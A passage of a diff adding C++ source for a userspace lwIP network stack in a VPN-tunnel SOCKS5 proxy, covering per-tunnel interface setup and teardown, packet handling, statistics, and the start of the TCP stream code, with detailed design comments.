return self->transmit_from_lwip(p) ? ERR_OK : ERR_MEM;
|
||||
}
|
||||
|
||||
err_t netif_init_cb(struct netif *nif) {
|
||||
auto *self = static_cast<Netif *>(nif->state);
|
||||
nif->name[0] = 'o';
|
||||
nif->name[1] = 'v';
|
||||
nif->output = netif_output_cb;
|
||||
nif->linkoutput = nullptr; // layer 3 only: no ethernet underneath
|
||||
nif->mtu = static_cast<u16_t>(self->mtu());
|
||||
nif->hwaddr_len = 0;
|
||||
// No NETIF_FLAG_BROADCAST and no NETIF_FLAG_ETHARP: this is a point-to-point
|
||||
// layer-3 link, so there is no link-layer address to resolve and nothing to
|
||||
// broadcast to.
|
||||
nif->flags = NETIF_FLAG_LINK_UP;
|
||||
return ERR_OK;
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
bool Netif::bring_up(std::string *err) {
|
||||
if (up_) return true;
|
||||
|
||||
const ip4_addr_t addr = to_lwip(cfg_.address);
|
||||
const ip4_addr_t mask = netmask_for(cfg_.prefix);
|
||||
const ip4_addr_t gw =
|
||||
cfg_.gateway.valid() && cfg_.gateway.is_v4() ? to_lwip(cfg_.gateway)
|
||||
: ip4_addr_t{};
|
||||
|
||||
if (cfg_.mtu < 576 || cfg_.mtu > 9000) {
|
||||
// 576 is the IPv4 minimum reassembly buffer; anything under it is a pushed
|
||||
// value we should not trust more than the default.
|
||||
LOG_WARN(kMod, "{}: server pushed mtu={}, using 1500", cfg_.label,
|
||||
cfg_.mtu);
|
||||
cfg_.mtu = 1500;
|
||||
}
|
||||
impl_->tx_buf.resize(link_.max_packet_size());
|
||||
rx_buf_.resize(link_.max_packet_size());
|
||||
|
||||
impl_->nif.state = this;
|
||||
if (netif_add(&impl_->nif, &addr, &mask, &gw, this, netif_init_cb,
|
||||
ip4_input) == nullptr) {
|
||||
if (err) *err = "netif_add failed";
|
||||
return false;
|
||||
}
|
||||
impl_->added = true;
|
||||
netif_set_link_up(&impl_->nif);
|
||||
netif_set_up(&impl_->nif);
|
||||
// The newest tunnel becomes the default route. Every PCB is pinned to its own
|
||||
// netif (tcp_bind_netif / udp_bind_netif), so the default only decides where
|
||||
// unbound traffic goes -- but leaving it pointing at a tunnel that is being
|
||||
// drained would be the wrong answer for anything that slips through.
|
||||
netif_set_default(&impl_->nif);
|
||||
up_ = true;
|
||||
|
||||
LOG_INFO(kMod,
|
||||
"{}: netif up: {}/{} gw={} mtu={} dns=[{}] (lwip idx {})",
|
||||
cfg_.label, cfg_.address.to_string(), cfg_.prefix,
|
||||
cfg_.gateway.valid() ? cfg_.gateway.to_string() : "none", cfg_.mtu,
|
||||
[&] {
|
||||
std::string s;
|
||||
for (const auto &d : cfg_.dns) {
|
||||
if (!s.empty()) s += ", ";
|
||||
s += d.to_string();
|
||||
}
|
||||
return s.empty() ? "none" : s;
|
||||
}(),
|
||||
netif_get_index(&impl_->nif));
|
||||
|
||||
arm_receive();
|
||||
return true;
|
||||
}
|
||||
|
||||
void Netif::tear_down() {
|
||||
if (!up_) return;
|
||||
up_ = false;
|
||||
|
||||
// Abort survivors first: they hold PCBs bound to this netif, and removing the
|
||||
// netif underneath a live PCB is exactly the kind of dangling reference lwIP
|
||||
// will not diagnose for us.
|
||||
const auto reason = make_error_code(Error::EgressGone);
|
||||
auto children = std::move(children_);
|
||||
children_.clear();
|
||||
size_t aborted = 0;
|
||||
for (auto &w : children) {
|
||||
if (auto c = w.lock()) {
|
||||
c->abort_from_netif(reason);
|
||||
++aborted;
|
||||
}
|
||||
}
|
||||
|
||||
link_.cancel();
|
||||
|
||||
if (impl_->added) {
|
||||
netif_set_down(&impl_->nif);
|
||||
netif_remove(&impl_->nif);
|
||||
impl_->added = false;
|
||||
}
|
||||
stack_.release_address(cfg_.address);
|
||||
netifs_up()->sub(1);
|
||||
|
||||
// netif_remove clears netif_default if it pointed here; hand it to whatever
|
||||
// is left so an unbound send still has somewhere to go.
|
||||
if (netif_default == nullptr) {
|
||||
struct netif *first = netif_list;
|
||||
if (first != nullptr) netif_set_default(first);
|
||||
}
|
||||
|
||||
const Stats s = stats();
|
||||
LOG_INFO(kMod,
|
||||
"{}: netif down: rx={} pkts/{} B tx={} pkts/{} B "
|
||||
"(tx_dropped={} rx_malformed={} rx_dropped={}), aborted {} live "
|
||||
"connection(s)",
|
||||
cfg_.label, s.rx_packets, s.rx_bytes, s.tx_packets, s.tx_bytes,
|
||||
s.tx_dropped, s.rx_malformed, s.rx_dropped, aborted);
|
||||
}
|
||||
|
||||
void Netif::shutdown(std::function<void()> on_done) {
|
||||
auto self = shared_from_this();
|
||||
asio::post(stack_.strand(), [self, on_done = std::move(on_done)]() mutable {
|
||||
self->tear_down();
|
||||
if (on_done) asio::post(self->cb_ex_, std::move(on_done));
|
||||
});
|
||||
}
|
||||
|
||||
bool Netif::is_up() const { return up_; }
|
||||
|
||||
void Netif::arm_receive() {
|
||||
if (!up_ || receiving_ || !link_.is_open()) return;
|
||||
receiving_ = true;
|
||||
auto self = shared_from_this();
|
||||
link_.async_receive(
|
||||
asio::buffer(rx_buf_), stack_.strand(),
|
||||
[self](const std::error_code &ec, size_t n) { self->on_packet(ec, n); });
|
||||
}
|
||||
|
||||
void Netif::on_packet(const std::error_code &ec, size_t n) {
|
||||
receiving_ = false;
|
||||
if (!up_) return;
|
||||
|
||||
if (ec) {
|
||||
if (ec != asio::error::operation_aborted) {
|
||||
LOG_WARN(kMod, "{}: tunnel read failed: {}", cfg_.label, ec.message());
|
||||
}
|
||||
// The link is gone; the egress layer notices through the tunnel's own state
|
||||
// machine and tears us down. Not re-arming is what stops the spin.
|
||||
return;
|
||||
}
|
||||
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
stats_.rx_packets++;
|
||||
stats_.rx_bytes += n;
|
||||
}
|
||||
rx_packets()->inc();
|
||||
|
||||
// The first nibble decides. IPv6 lands here whenever a server pushes a v6
|
||||
// route we did not ask for; lwIP is compiled v4-only so it goes in the bin,
|
||||
// counted, without pretending it was corruption.
|
||||
const bool ok_v4 = n >= 20 && (rx_buf_[0] >> 4) == 4;
|
||||
if (!ok_v4) {
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
stats_.rx_malformed++;
|
||||
}
|
||||
rx_malformed()->inc();
|
||||
LOG_TRACE(kMod, "{}: dropped a {}-byte non-IPv4 packet (version nibble {})",
|
||||
cfg_.label, n, n > 0 ? (rx_buf_[0] >> 4) : 0);
|
||||
arm_receive();
|
||||
return;
|
||||
}
|
||||
|
||||
pbuf *p = pbuf_alloc(PBUF_RAW, static_cast<u16_t>(n), PBUF_RAM);
|
||||
if (p == nullptr) {
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
stats_.rx_dropped++;
|
||||
} else {
|
||||
std::memcpy(p->payload, rx_buf_.data(), n);
|
||||
if (impl_->nif.input(p, &impl_->nif) != ERR_OK) {
|
||||
pbuf_free(p);
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
stats_.rx_dropped++;
|
||||
}
|
||||
}
|
||||
|
||||
// One packet per reactor wakeup. Batching with recvmmsg would cut syscalls at
|
||||
// high packet rates; it is deliberately not done yet because it would push a
|
||||
// second framing concept into PacketLink for a bottleneck we have not
|
||||
// measured. See docs/FEASIBILITY.md 4.2 for where the real ceiling is.
|
||||
arm_receive();
|
||||
}
|
||||
|
||||
bool Netif::transmit_from_lwip(pbuf *p) {
|
||||
const size_t len = p->tot_len;
|
||||
if (len == 0 || len > impl_->tx_buf.size()) {
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
stats_.tx_dropped++;
|
||||
return false;
|
||||
}
|
||||
|
||||
const void *data;
|
||||
if (p->next == nullptr) {
|
||||
data = p->payload; // single pbuf: the common case, no copy
|
||||
} else {
|
||||
pbuf_copy_partial(p, impl_->tx_buf.data(), static_cast<u16_t>(len), 0);
|
||||
data = impl_->tx_buf.data();
|
||||
}
|
||||
|
||||
const bool sent = link_.send_packet(data, len);
|
||||
{
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
if (sent) {
|
||||
stats_.tx_packets++;
|
||||
stats_.tx_bytes += len;
|
||||
} else {
|
||||
stats_.tx_dropped++;
|
||||
}
|
||||
}
|
||||
if (sent) {
|
||||
tx_packets()->inc();
|
||||
} else {
|
||||
tx_dropped()->inc();
|
||||
}
|
||||
return sent;
|
||||
}
|
||||
|
||||
void Netif::register_child(const std::shared_ptr<Closable> &c) {
|
||||
// Compact opportunistically: the vector is only walked at shutdown, so the
|
||||
// only thing that matters is that expired entries cannot accumulate without
|
||||
// bound over the life of a long-running tunnel.
|
||||
if (children_.size() >= 64 && children_.size() % 64 == 0) {
|
||||
children_.erase(std::remove_if(children_.begin(), children_.end(),
|
||||
[](const std::weak_ptr<Closable> &w) {
|
||||
return w.expired();
|
||||
}),
|
||||
children_.end());
|
||||
}
|
||||
children_.push_back(c);
|
||||
}
|
||||
|
||||
void Netif::note_tcp_opened(bool ok) {
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
if (ok) {
|
||||
stats_.tcp_opened++;
|
||||
stats_.tcp_active++;
|
||||
} else {
|
||||
stats_.tcp_failed++;
|
||||
}
|
||||
}
|
||||
|
||||
void Netif::note_tcp_closed() {
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
if (stats_.tcp_active > 0) stats_.tcp_active--;
|
||||
}
|
||||
|
||||
void Netif::note_udp(int delta) {
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
stats_.udp_active += delta;
|
||||
}
|
||||
|
||||
Netif::Stats Netif::stats() const {
|
||||
std::lock_guard<std::mutex> lk(stats_mu_);
|
||||
return stats_;
|
||||
}
|
||||
|
||||
void Netif::async_connect_tcp(const IpAddress &addr, uint16_t port,
|
||||
Millis timeout,
|
||||
const asio::any_io_executor &cb_ex,
|
||||
ConnectHandler h) {
|
||||
auto self = shared_from_this();
|
||||
asio::post(stack_.strand(), [self, addr, port, timeout, cb_ex,
|
||||
h = std::move(h)]() mutable {
|
||||
if (!self->up_) {
|
||||
asio::post(cb_ex, [h = std::move(h)] {
|
||||
h(make_error_code(Error::EgressGone), nullptr);
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (!addr.valid() || !addr.is_v4()) {
|
||||
// IPv6 never reaches here: the SOCKS5 layer refuses it earlier with
|
||||
// "address type not supported". This is the backstop.
|
||||
asio::post(cb_ex, [h = std::move(h)] {
|
||||
h(make_error_code(Error::NotSupported), nullptr);
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
auto stream = LwipTcpStream::create(self, cb_ex);
|
||||
self->register_child(stream);
|
||||
stream->start_connect(addr, port, timeout,
|
||||
[stream, cb_ex, h = std::move(h)](
|
||||
const std::error_code &ec) mutable {
|
||||
if (ec) {
|
||||
asio::post(cb_ex, [h = std::move(h), ec] {
|
||||
h(ec, nullptr);
|
||||
});
|
||||
return;
|
||||
}
|
||||
asio::post(cb_ex,
|
||||
[h = std::move(h), stream]() mutable {
|
||||
h(std::error_code{},
|
||||
std::move(stream));
|
||||
});
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
void Netif::async_open_udp(const asio::any_io_executor &cb_ex,
|
||||
OpenUdpHandler h) {
|
||||
auto self = shared_from_this();
|
||||
asio::post(stack_.strand(), [self, cb_ex, h = std::move(h)]() mutable {
|
||||
if (!self->up_) {
|
||||
asio::post(cb_ex, [h = std::move(h)] {
|
||||
h(make_error_code(Error::EgressGone), nullptr);
|
||||
});
|
||||
return;
|
||||
}
|
||||
auto sock = LwipUdpSocket::create(self, cb_ex);
|
||||
std::error_code ec = sock->bind_ephemeral();
|
||||
if (ec) {
|
||||
asio::post(cb_ex, [h = std::move(h), ec] { h(ec, nullptr); });
|
||||
return;
|
||||
}
|
||||
self->register_child(sock);
|
||||
asio::post(cb_ex, [h = std::move(h), sock]() mutable {
|
||||
h(std::error_code{}, std::move(sock));
|
||||
});
|
||||
});
|
||||
}
|
||||
|
||||
std::shared_ptr<Resolver> Netif::resolver() {
|
||||
std::lock_guard<std::mutex> lk(resolver_mu_);
|
||||
if (auto r = resolver_.lock()) return r;
|
||||
auto r = DnsResolver::create(shared_from_this(), stack_.dns_config());
|
||||
resolver_ = r;
|
||||
return r;
|
||||
}
|
||||
|
||||
} // namespace ovg::netstack
|
||||
@@ -0,0 +1,311 @@
|
||||
// The userspace TCP/IP stack: lwIP lifecycle, one netif per live tunnel.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Threading
|
||||
// ---------------------------------------------------------------------------
|
||||
// lwIP built with NO_SYS=1 has no locking whatsoever. Every call into it and
|
||||
// every callback out of it must be serialized, so all of it runs on one asio
|
||||
// strand -- Stack::strand(). Handlers the caller supplies run on the executor
|
||||
// the caller passed in, never on the strand, so nothing above this module ever
|
||||
// touches lwIP state.
|
||||
//
|
||||
// A strand rather than a dedicated thread: lwIP requires "no concurrency", not
|
||||
// "the same thread", and a strand gives that plus the happens-before edges,
|
||||
// without adding a thread or a second io_context to reason about.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// Why there can only be one Stack
|
||||
// ---------------------------------------------------------------------------
|
||||
// lwIP's state is file-scope globals: the netif list, tcp_active_pcbs, the
|
||||
// timeout wheel, the memp pools. There is exactly one lwIP per process and no
|
||||
// amount of wrapping changes that. The constructor enforces it rather than
|
||||
// letting a second instance silently corrupt the first.
|
||||
//
|
||||
// This matters because make-before-break (docs/ARCHITECTURE.md 5) needs two
|
||||
// tunnels alive at once. That works: one Stack, two Netifs, and every PCB
|
||||
// pinned to its netif with tcp_bind_netif()/udp_bind_netif() so routing cannot
|
||||
// send an old session's packets out the new tunnel.
|
||||
//
|
||||
// It works with one exception, and it is worth stating plainly. Attribution of
|
||||
// *inbound* packets is by destination address, so two tunnels that push the
|
||||
// same address are indistinguishable to lwIP. VPNGate servers hand out private
|
||||
// addresses from a small set of ranges, so this is not hypothetical. Netif
|
||||
// creation therefore rejects an address already in use, and the switch
|
||||
// controller treats that rejection as "graceful drain is impossible here" and
|
||||
// falls back to a hard switch -- which is the behaviour the requirements ask
|
||||
// for when connections cannot be preserved.
|
||||
//
|
||||
// ---------------------------------------------------------------------------
|
||||
// IPv6
|
||||
// ---------------------------------------------------------------------------
|
||||
// Not supported. lwIP is compiled IPv4-only (see lwip_port/lwipopts.h): VPNGate
|
||||
// nodes essentially never push a usable IPv6 prefix, and carrying a second
|
||||
// address family through the netif, the resolver and the SOCKS5 layer would
|
||||
// roughly double the surface for something no node exercises. An IPv6 target
|
||||
// arriving over SOCKS5 is refused with "address type not supported" rather than
|
||||
// being quietly resolved to something else.
|
||||
#pragma once
|
||||
|
||||
#include <asio.hpp>
|
||||
|
||||
#include <cstdint>
|
||||
#include <functional>
|
||||
#include <memory>
|
||||
#include <mutex>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
#include "common/config.h"
|
||||
#include "common/endpoint.h"
|
||||
#include "common/strand_deleter.h"
|
||||
#include "netstack/packet_link.h"
|
||||
#include "netstack/stream.h"
|
||||
|
||||
struct pbuf;
|
||||
struct netif;
|
||||
|
||||
namespace ovg::netstack {
|
||||
|
||||
using ovg::Strand;
|
||||
|
||||
class Netif;
|
||||
class LwipTcpStream;
|
||||
class LwipUdpSocket;
|
||||
class DnsResolver;
|
||||
|
||||
// Implemented by everything a Netif can own. The netif holds these weakly, so
|
||||
// dropping the caller's reference still tears the connection down; this is only
|
||||
// the handle it needs to reach survivors when the tunnel goes away underneath
|
||||
// them. Called on the stack's strand.
|
||||
class Closable {
|
||||
public:
|
||||
virtual ~Closable() = default;
|
||||
virtual void abort_from_netif(const std::error_code &reason) = 0;
|
||||
};
|
||||
|
||||
// Everything a netif needs, extracted from what the VPN server pushed.
|
||||
struct NetifConfig {
|
||||
IpAddress address; // our address inside the tunnel
|
||||
int prefix = 0; // 1..32
|
||||
IpAddress gateway; // may be unset on a point-to-point link
|
||||
int mtu = 1500;
|
||||
std::vector<IpAddress> dns; // in server priority order
|
||||
std::string label; // node id; appears in every log line
|
||||
};
|
||||
|
||||
class Stack {
|
||||
public:
|
||||
// Throws std::logic_error if another Stack is alive (see the header comment).
|
||||
explicit Stack(asio::io_context &io, DnsConfig dns_cfg = {});
|
||||
~Stack();
|
||||
|
||||
Stack(const Stack &) = delete;
|
||||
Stack &operator=(const Stack &) = delete;
|
||||
|
||||
// Stops the periodic timer, and with it the last thing keeping the
|
||||
// io_context busy.
|
||||
//
|
||||
// The timer re-arms itself for as long as the stack is alive, which makes it
|
||||
// outstanding io work that releasing a work guard cannot retire. The
|
||||
// destructor cancels it -- but the destructor cannot run until run() returns,
|
||||
// and run() will not return while the timer is pending. A process that has
|
||||
// logged a picture-perfect graceful shutdown then sits there forever. So
|
||||
// shutdown has to say so explicitly, here.
|
||||
//
|
||||
// Call it only once every netif is gone: lwIP's timers drive TCP
|
||||
// retransmission and reassembly expiry, so a stack that has stopped ticking
|
||||
// under a live stream stops retransmitting on it. Idempotent.
|
||||
void stop();
|
||||
|
||||
const Strand &strand() const { return strand_; }
|
||||
asio::io_context &io() { return io_; }
|
||||
const DnsConfig &dns_config() const { return dns_cfg_; }
|
||||
|
||||
using AttachHandler =
|
||||
std::function<void(const std::error_code &, std::shared_ptr<Netif>)>;
|
||||
|
||||
// Brings up a netif over `link` and starts its receive loop. `link` must
|
||||
// outlive the returned Netif; in practice the same object owns both.
|
||||
//
|
||||
// Fails with ovg::Error::ResourceExhausted if `cfg.address` is already in use
|
||||
// by a live netif -- see the address-collision note above.
|
||||
void async_attach(PacketLink &link, NetifConfig cfg,
|
||||
const asio::any_io_executor &cb_ex, AttachHandler h);
|
||||
|
||||
// lwIP's global counters. Not per-netif -- lwIP does not track them that way
|
||||
// -- so with two tunnels up these are the sum. The health monitor uses the
|
||||
// delta over a window, where that is still a usable signal.
|
||||
//
|
||||
// There is no retransmit counter here because lwIP does not keep one: it
|
||||
// increments tcp.xmit for original and retransmitted segments alike. The
|
||||
// usable proxies for a degrading link are tcp_segments_sent rising while
|
||||
// tcp_segments_received does not, and tcp_memory_errors climbing at all.
|
||||
struct GlobalStats {
|
||||
uint64_t tcp_segments_sent = 0;
|
||||
uint64_t tcp_segments_received = 0;
|
||||
uint64_t tcp_drops = 0;
|
||||
uint64_t tcp_checksum_errors = 0;
|
||||
uint64_t tcp_memory_errors = 0;
|
||||
uint64_t ip_drops = 0;
|
||||
uint64_t ip_checksum_errors = 0;
|
||||
uint64_t reassembly_failures = 0;
|
||||
size_t netifs = 0;
|
||||
};
|
||||
GlobalStats global_stats() const;
|
||||
|
||||
private:
|
||||
friend class Netif;
|
||||
|
||||
void schedule_timer();
|
||||
void on_timer(const std::error_code &ec);
|
||||
|
||||
// Address bookkeeping, so collisions are caught before lwIP sees them.
|
||||
// Guarded by mu_ because the admin endpoint reads it off-strand.
|
||||
bool claim_address(const IpAddress &a);
|
||||
void release_address(const IpAddress &a);
|
||||
|
||||
asio::io_context &io_;
|
||||
DnsConfig dns_cfg_;
|
||||
Strand strand_;
|
||||
asio::steady_timer timer_;
|
||||
bool stopping_ = false;
|
||||
|
||||
mutable std::mutex mu_;
|
||||
std::vector<IpAddress> claimed_;
|
||||
};
|
||||
|
||||
// One tunnel's network interface, and the factory for everything that runs on
|
||||
// it. Destroying it removes the lwIP netif and aborts every stream and socket
|
||||
// still bound to it -- which is exactly what has to happen when a drained
|
||||
// egress goes away.
|
||||
class Netif : public std::enable_shared_from_this<Netif> {
|
||||
public:
|
||||
~Netif();
|
||||
|
||||
Netif(const Netif &) = delete;
|
||||
Netif &operator=(const Netif &) = delete;
|
||||
|
||||
using ConnectHandler =
|
||||
std::function<void(const std::error_code &, TcpStreamPtr)>;
|
||||
using OpenUdpHandler =
|
||||
std::function<void(const std::error_code &, UdpSocketPtr)>;
|
||||
|
||||
// `addr` must be a literal IPv4 address; names are the resolver's job.
|
||||
void async_connect_tcp(const IpAddress &addr, uint16_t port, Millis timeout,
|
||||
const asio::any_io_executor &cb_ex, ConnectHandler h);
|
||||
|
||||
// Binds an ephemeral port on this netif's address.
|
||||
void async_open_udp(const asio::any_io_executor &cb_ex, OpenUdpHandler h);
|
||||
|
||||
// Shared, lazily created, backed by this netif's pushed DNS servers with the
|
||||
// configured fallbacks appended. Safe to call from any thread.
|
||||
//
|
||||
// Held here weakly, so the caller owns it -- in practice the egress, for the
|
||||
// tunnel's lifetime. That is not an ownership nicety: the resolver keeps a UDP
|
||||
// socket, the socket keeps this netif alive, and a strong pointer here would
|
||||
// close a reference cycle that no shutdown path could break. Dropping every
|
||||
// reference costs a rebuilt cache on the next call and nothing else.
|
||||
std::shared_ptr<Resolver> resolver();
|
||||
|
||||
// Refuses new streams and sockets, aborts the existing ones, removes the lwIP
|
||||
// netif and stops the receive loop. Idempotent. `on_done` runs on the
|
||||
// executor given at attach time once the netif is gone.
|
||||
void shutdown(std::function<void()> on_done = {});
|
||||
bool is_up() const;
|
||||
|
||||
const IpAddress &address() const { return cfg_.address; }
|
||||
const IpAddress &gateway() const { return cfg_.gateway; }
|
||||
const std::vector<IpAddress> &dns_servers() const { return cfg_.dns; }
|
||||
int mtu() const { return cfg_.mtu; }
|
||||
const std::string &label() const { return cfg_.label; }
|
||||
Stack &stack() const { return stack_; }
|
||||
|
||||
struct Stats {
|
||||
uint64_t rx_packets = 0;
|
||||
uint64_t rx_bytes = 0;
|
||||
uint64_t rx_malformed = 0; // not IPv4, or shorter than an IP header
|
||||
uint64_t rx_dropped = 0; // lwIP refused it (no buffer, bad checksum)
|
||||
uint64_t tx_packets = 0;
|
||||
uint64_t tx_bytes = 0;
|
||||
uint64_t tx_dropped = 0; // link's transmit queue was full
|
||||
uint64_t tcp_opened = 0;
|
||||
uint64_t tcp_failed = 0;
|
||||
int64_t tcp_active = 0;
|
||||
int64_t udp_active = 0;
|
||||
};
|
||||
Stats stats() const;
|
||||
|
||||
// netif->output. Public only because lwIP reaches it through a C function
|
||||
// pointer, which cannot be a friend; not part of the interface callers use.
|
||||
// Returns false when the link dropped the packet, which lwIP sees as ERR_MEM
|
||||
// and retries -- the right answer, since a full transmit queue is congestion,
|
||||
// not failure.
|
||||
bool transmit_from_lwip(pbuf *p);
|
||||
|
||||
private:
|
||||
friend class Stack;
|
||||
friend class LwipTcpStream;
|
||||
friend class LwipUdpSocket;
|
||||
friend class DnsResolver;
|
||||
|
||||
struct Impl; // holds the lwIP netif; keeps lwip headers out of this file
|
||||
|
||||
Netif(Stack &stack, PacketLink &link, NetifConfig cfg,
|
||||
asio::any_io_executor cb_ex);
|
||||
|
||||
// The lwIP netif, for the PCB pinning in lwip_tcp.cpp / lwip_udp.cpp. Only
|
||||
// valid while up_; nullptr afterwards. Strand-only. Declared here rather than
|
||||
// exposing Impl so that lwIP headers stay out of this file.
|
||||
struct netif *lwip_netif();
|
||||
|
||||
static std::shared_ptr<Netif> create(Stack &stack, PacketLink &link,
|
||||
NetifConfig cfg,
|
||||
asio::any_io_executor cb_ex);
|
||||
|
||||
// Strand-only.
|
||||
bool bring_up(std::string *err);
|
||||
void tear_down();
|
||||
void arm_receive();
|
||||
void on_packet(const std::error_code &ec, size_t n);
|
||||
void register_child(const std::shared_ptr<Closable> &c);
|
||||
void note_tcp_opened(bool ok);
|
||||
void note_tcp_closed();
|
||||
void note_udp(int delta);
|
||||
|
||||
Stack &stack_;
|
||||
PacketLink &link_;
|
||||
NetifConfig cfg_;
|
||||
asio::any_io_executor cb_ex_;
|
||||
std::unique_ptr<Impl> impl_;
|
||||
|
||||
std::vector<uint8_t> rx_buf_;
|
||||
bool up_ = false;
|
||||
bool receiving_ = false;
|
||||
|
||||
// Live streams and sockets, weakly held so that dropping the caller's
|
||||
// reference still tears the connection down (see stream.h). Used only to
|
||||
// reach them at shutdown.
|
||||
std::vector<std::weak_ptr<Closable>> children_;
|
||||
|
||||
mutable std::mutex stats_mu_;
|
||||
Stats stats_;
|
||||
|
||||
std::mutex resolver_mu_;
|
||||
std::weak_ptr<Resolver> resolver_; // weak on purpose -- see resolver()
|
||||
};
|
||||
|
||||
// lwIP err_t -> std::error_code, in one place so the mapping is consistent
|
||||
// between the TCP, UDP and DNS paths.
|
||||
std::error_code lwip_error(int8_t err);
|
||||
|
||||
namespace detail {
|
||||
|
||||
// Objects holding lwIP state must be destroyed on the strand, and never from
|
||||
// inside an lwIP callback -- which is exactly what lets those callbacks carry a
|
||||
// raw `this` pointer as their argument. See common/strand_deleter.h; the direct
|
||||
// egress needs the same trick for the same shape of reason.
|
||||
using ovg::StrandDeleter;
|
||||
|
||||
} // namespace detail
|
||||
|
||||
} // namespace ovg::netstack
|
||||
@@ -0,0 +1,569 @@
|
||||
#include "netstack/lwip_tcp.h"
|
||||
|
||||
#include <algorithm>
|
||||
#include <cstring>
|
||||
|
||||
#include "common/error.h"
|
||||
#include "common/logging.h"
|
||||
|
||||
extern "C" {
|
||||
#include "lwip/ip_addr.h"
|
||||
#include "lwip/pbuf.h"
|
||||
#include "lwip/tcp.h"
|
||||
}
|
||||
|
||||
namespace ovg::netstack {
|
||||
namespace {
|
||||
|
||||
constexpr const char *kMod = "netstack";
|
||||
|
||||
// How often lwIP invokes the poll callback, in units of the coarse TCP timer
|
||||
// (500 ms). Two ticks is one second: often enough to unstick a write that lost
|
||||
// its "sent" callback to a dropped ACK, rare enough not to matter at 1000
|
||||
// connections.
|
||||
constexpr uint8_t kPollInterval = 2;
|
||||
|
||||
Endpoint endpoint_from(const ip_addr_t *a, uint16_t port) {
|
||||
if (a == nullptr) return {};
|
||||
return Endpoint(IpAddress::from_v4(lwip_ntohl(ip_2_ip4(a)->addr)), port);
|
||||
}
|
||||
|
||||
// tcp_recved() takes a u16_t, but our receive window can be up to TCP_WND
|
||||
// (64 KiB) and a single read can consume all of it -- which truncates to 0 and
|
||||
// silently wedges the connection with a closed window. Chunk it.
|
||||
void recved(tcp_pcb *pcb, size_t n) {
|
||||
while (n > 0) {
|
||||
const u16_t chunk = static_cast<u16_t>(std::min<size_t>(n, 0xFFFFu));
|
||||
tcp_recved(pcb, chunk);
|
||||
n -= chunk;
|
||||
}
|
||||
}
|
||||
|
||||
} // namespace
|
||||
|
||||
std::shared_ptr<LwipTcpStream> LwipTcpStream::create(
|
||||
std::shared_ptr<Netif> netif, asio::any_io_executor cb_ex) {
|
||||
Strand strand = netif->stack().strand();
|
||||
return std::shared_ptr<LwipTcpStream>(
|
||||
new LwipTcpStream(std::move(netif), std::move(cb_ex)),
|
||||
detail::StrandDeleter<LwipTcpStream>{strand});
|
||||
}
|
||||
|
||||
LwipTcpStream::LwipTcpStream(std::shared_ptr<Netif> netif,
|
||||
asio::any_io_executor cb_ex)
|
||||
: netif_(std::move(netif)),
|
||||
strand_(netif_->stack().strand()),
|
||||
cb_ex_(std::move(cb_ex)),
|
||||
timer_(strand_) {}
|
||||
|
||||
LwipTcpStream::~LwipTcpStream() {
|
||||
// On the strand, courtesy of StrandDeleter -- so an lwIP callback can never
|
||||
// be running against this object right now.
|
||||
if (counted_open_ && netif_) netif_->note_tcp_closed();
|
||||
detach_pcb(/*graceful=*/false);
|
||||
drop_queued();
|
||||
|
||||
// Pending handlers must be answered even here. A caller that used a weak_ptr
|
||||
// in its handler would otherwise wait forever for a completion that can no
|
||||
// longer come.
|
||||
const auto ec = make_error_code(Error::Cancelled);
|
||||
if (read_h_) {
|
||||
asio::post(cb_ex_, [h = std::move(read_h_), ec] { h(ec, 0); });
|
||||
}
|
||||
if (write_h_) {
|
||||
asio::post(cb_ex_, [h = std::move(write_h_), ec, n = write_done_] {
|
||||
h(ec, n);
|
||||
});
|
||||
}
|
||||
if (connect_h_) {
|
||||
asio::post(cb_ex_, [h = std::move(connect_h_), ec] { h(ec); });
|
||||
}
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Connect
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
void LwipTcpStream::start_connect(const IpAddress &addr, uint16_t port,
|
||||
Millis timeout, ConnectHandler h) {
|
||||
connect_h_ = std::move(h);
|
||||
connecting_ = true;
|
||||
|
||||
struct netif *nif = netif_->lwip_netif();
|
||||
if (nif == nullptr) {
|
||||
// The tunnel went away between async_connect_tcp and this post.
|
||||
finish_connect(make_error_code(Error::NotConnected));
|
||||
return;
|
||||
}
|
||||
|
||||
pcb_ = tcp_new_ip_type(IPADDR_TYPE_V4);
|
||||
if (pcb_ == nullptr) {
|
||||
netif_->note_tcp_opened(false);
|
||||
finish_connect(make_error_code(Error::ResourceExhausted));
|
||||
return;
|
||||
}
|
||||
|
||||
tcp_arg(pcb_, this);
|
||||
tcp_err(pcb_, &LwipTcpStream::s_err);
|
||||
tcp_recv(pcb_, &LwipTcpStream::s_recv);
|
||||
tcp_sent(pcb_, &LwipTcpStream::s_sent);
|
||||
tcp_poll(pcb_, &LwipTcpStream::s_poll, kPollInterval);
|
||||
|
||||
// The pin that makes two simultaneous tunnels work: without it, ip4_route()
|
||||
// would send this connection's packets out whichever netif happens to be the
|
||||
// default, which during a make-before-break switch is the *other* tunnel.
|
||||
tcp_bind_netif(pcb_, nif);
|
||||
|
||||
ip_addr_t dst;
|
||||
ip_addr_set_ip4_u32(&dst, lwip_htonl(addr.v4_host_order()));
|
||||
|
||||
const err_t err = tcp_connect(pcb_, &dst, port, &LwipTcpStream::s_connected);
|
||||
if (err != ERR_OK) {
|
||||
LOG_DEBUG(kMod, "{}: tcp_connect to {}:{} failed immediately: {}",
|
||||
netif_->label(), addr.to_string(), port, lwip_error(err).message());
|
||||
netif_->note_tcp_opened(false);
|
||||
detach_pcb(/*graceful=*/false);
|
||||
